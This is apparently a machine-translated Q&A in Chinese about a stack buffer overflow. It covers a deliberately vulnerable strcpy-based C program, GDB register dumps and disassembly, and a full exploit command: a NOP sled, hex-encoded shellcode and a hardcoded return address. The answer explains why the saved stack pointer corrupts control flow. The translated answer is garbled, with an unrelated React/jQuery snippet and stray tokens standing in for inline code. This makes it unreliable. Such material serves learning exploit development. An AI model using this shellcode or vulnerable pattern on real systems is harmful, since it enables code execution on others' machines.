我正在处理一些缓冲区溢出漏洞利用示例,并编写了一个基本的易受攻击的C应用程序来测试:(目标和攻击者是相同的Kali 2机器并运行“echo”0“> / proc / sys / kernel / randomize_va_space“)
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
char buffer[256];
if (argc != 2)
{
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
现在,通过在GDB中进行一些测试,我可以通过在缓冲区中放入260个字节来导致seg错误:
r $(python -c 'print "A" * 204 + "BBBB" + "C" * 52')
寄存器显示:
eax 0x105 261
ecx 0xffffd300 -11520
edx 0xf7fb3878 -134530952
ebx 0xf7fb2000 -134537216
esp 0xffffd300 0xffffd300
ebp 0x0 0x0
esi 0x0 0
edi 0x0 0
eip 0x42424242 0x42424242
eflags 0x10286 [ PF SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
我认为如果上面的0x424242(尽管EBP是0x0 ??),我可以成功控制EIP。
问题1。
使用260字节的缓冲区,如上所述覆盖EIP。如果使用:
r $(python -c 'print "A" * 512')
我发现SEGSEGV位于0x080484b4,带寄存器
eax 0x201 513
ecx 0x41414141 1094795585
edx 0xf7fb3878 -134530952
ebx 0xf7fb2000 -134537216
esp 0x4141413d 0x4141413d
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x80484b4 0x80484b4 <main+89>
eflags 0x10286 [ PF SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
我原本以为如果260获得EIP控制权,那么512字节的例子也不应该吗?为什么512场景允许EIP在这种情况下指向ret而不是像上面的260字节缓冲区示例中的0x424242?
问题2。
我创建了一个87字节的有效负载。我已将有效负载注入最初的204个字节,如下所示
r $(python -c 'print "\x90" * (204-87) + "<87 byte payload>" + "EIP <address>" + "\x90" * (260-204-4)')
我的主要内容如下
0x0804845b <+0>: lea 0x4(%esp),%ecx
0x0804845f <+4>: and $0xfffffff0,%esp
0x08048462 <+7>: pushl -0x4(%ecx)
0x08048465 <+10>: push %ebp
0x08048466 <+11>: mov %esp,%ebp
0x08048468 <+13>: push %ecx
0x08048469 <+14>: sub $0x104,%esp
0x0804846f <+20>: mov %ecx,%eax
0x08048471 <+22>: cmpl $0x2,(%eax)
0x08048474 <+25>: je 0x8048480 <main+37>
0x08048476 <+27>: sub $0xc,%esp
0x08048479 <+30>: push $0x0
0x0804847b <+32>: call 0x8048340 <exit@plt>
0x08048480 <+37>: mov 0x4(%eax),%eax
0x08048483 <+40>: add $0x4,%eax
0x08048486 <+43>: mov (%eax),%eax
0x08048488 <+45>: sub $0x8,%esp
0x0804848b <+48>: push %eax
0x0804848c <+49>: lea -0x108(%ebp),%eax
0x08048492 <+55>: push %eax
0x08048493 <+56>: call 0x8048310 <strcpy@plt>
0x08048498 <+61>: add $0x10,%esp
0x0804849b <+64>: sub $0xc,%esp
0x0804849e <+67>: lea -0x108(%ebp),%eax
0x080484a4 <+73>: push %eax
0x080484a5 <+74>: call 0x8048320 <puts@plt>
0x080484aa <+79>: add $0x10,%esp
0x080484ad <+82>: mov -0x4(%ebp),%ecx
0x080484b0 <+85>: leave
0x080484b1 <+86>: lea -0x4(%ecx),%esp
=> 0x080484b4 <+89>: ret
在56(0x08048493)上休息并检查ESP x / 2wx $ esp我可以找到:
0xffffd220: 0xffffd230 0xffffd56b
和x / s 0xffffd56b
0xffffd56b: 'A' <repeats 117 times>, 'B' <repeats 83 times>...
(gdb)
0xffffd633: "BBBBCCCC", 'D' <repeats 52 times>
所以,可以推断(希望是正确的)EIP应该是\ x6b \ xd5 \ xff \ xff来调用漏洞利用,并替换所有部分如下(使用nop sled):
r $(python -c 'print "\x90" * (204-87) + "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\xa9\xb2\x8c\x21\x7d\xac\xb1\x84\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xc3\x89\xd4\xb8\x35\x17\x9e\xe6\xc0\xdc\xa3\x52\x15\xac\xe2\xcc\x20\x55\xe4\x0c\x1e\xac\xb1\xcc\x20\x54\xde\xc9\x75\xac\xb1\x84\x86\xd0\xe5\x4f\x52\xdf\xd9\x84\xff\xe5\xc4\xa8\x9b\xa3\xb4\x84" + "\x6b\xd5\xff\xff" + "\x90" * (260-204-4)')
不幸的是,该程序现在只是正常终止,“[Inferior 1(进程2863)正常退出]”。我错过了什么或者只是偏离正确的道路......?另外我注意到上面的陈述中没有中断?
- 编辑
在离开屏幕的时间后重新开始更有意义:)
答案 0 :(得分:1)
请注意,原始堆栈指针保存在堆栈中,并在componentDidMount: function() {
$( this.refs.toggleInput.getDOMNode() ).bootstrapToggle('on');
}
之前恢复。因此,如果覆盖堆栈,您也可能会覆盖将用于ret
的堆栈指针。 ret
这种方式很特殊,因为它在序言中有堆栈对齐代码。
那就是说,预期的行为实际上是第二种情况,第一种情况是特殊情况。你的字符串恰好是正确的长度,所以终止零覆盖了保存的堆栈指针的低字节,这足以使它在内存中稍微低一点,但仍在你的字符串中。确切的位置将取决于堆栈布局,它不会永远是您的main
,事实上对我来说它位于BBBB
部分的某个地方。请注意,即使关闭ASLR,堆栈布局也可能因环境而发生变化,因此即使您在gdb中使用漏洞利用,它也可能无法在shell中可靠地运行,或者根本无法运行。